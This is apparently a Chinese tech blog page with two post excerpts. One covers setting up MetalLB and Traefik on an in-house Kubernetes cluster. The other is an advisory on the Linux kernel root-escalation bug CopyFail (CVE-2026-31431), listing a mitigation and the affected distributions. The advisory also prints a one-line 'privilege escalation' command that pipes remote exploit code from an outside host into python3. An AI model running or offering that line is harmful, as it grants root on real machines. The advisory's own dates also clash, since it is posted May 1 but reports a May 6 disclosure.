内网 K8s MetalLB + Traefik

发表于 July 17, 2026 | 4 分钟 | 749 个字 | SK

在私有网络中部署k8s，没有公网云中统一的GW，所以需要规范使用统一网关来进行业务发布。

整体架构

内网客户端 → MetalLB 分配固定内网 LBIP → Traefik 网关 → 业务 ClusterIP Service → Pod 业务全程只使用 ClusterIP，无 NodePort 暴露。

前置条件

裸机 / 虚拟机自建 K8s（无云厂商 LB）
一段内网空闲 IP 段（如192.168.3.200-192.168.3.220，和集群同网段、未被 DHCP 占用）
集群内核转发开启、防火墙放开 80/443 端口
kubectl 正常连通集群

一、部署 MetalLB v0.15（L2 二层模式，内网首选）

步骤 1：

修改 kube-proxy 开启 strictARP（必做，否则 MetalLB ARP 异常）

kubectl get configmap kube-proxy -n kube-system -o yaml | sed -e "s/strictARP: false/strictARP: true/" | kubectl apply -f -
# 重启kube-proxy生效
kubectl rollout restart daemonset kube-proxy -n kube-system
kubectl get daemonset kube-proxy -n kube-system

步骤 2：

一键部署 MetalLB 官方原生 yaml

[阅读全文]

Linux高危漏洞CopyFail（CVE-2026-31431)需要紧急修复

发表于 May 1, 2026 | 1 分钟 | 51 个字 | SK

2026年5月6日，Linux内核7.0及更早版本被曝存在高危漏洞CopyFail（CVE-2026-31431）,攻击者可借其由低权限提权至root。
该漏洞于3月下旬披露，补丁已发布但尚未全面推送。
漏洞影响红帽RHEL 10.1、Ubuntu 24.04、Amazon Linux 2023、SUSE 16等主流发行版，亦波及Kubernetes及容器环境。
虽无法直接远程利用，但可与远程漏洞组合攻击或通过恶意链接、供应链投毒触发。

临时修复方案

sudo tee /etc/modprobe.d/disable-algif-aead.conf <<<'install algif_aead /bin/false'
sudo rmmod algif_aead 2>/dev/null

在线直接提权

curl https://copy.fail/exp | python3
su
id

漏洞影响系统

该漏洞影响默认启用或可加载algifaead模块的Linux系统，已知受影响的产品如下:
1.Ubuntu24.04LTS 及 以 下;
2.AmazonLinux2023及以 下;
3.RedHatEnterpriseLinux10及 以 下;
4.RedHatEnterpriseLinux9及 以 下;
5.RedHatEnterpriseLinux8及 以 下;
6.SUSE16及以下;
7.Debian/Arch/Fedora/Rocky/Alma/Oracle等同期内核版本;
8.统信(UOS)1070、1060;
9.麒麟(Kylin)V11、V10;
10.openEuler 24.03 (LTS-SP1);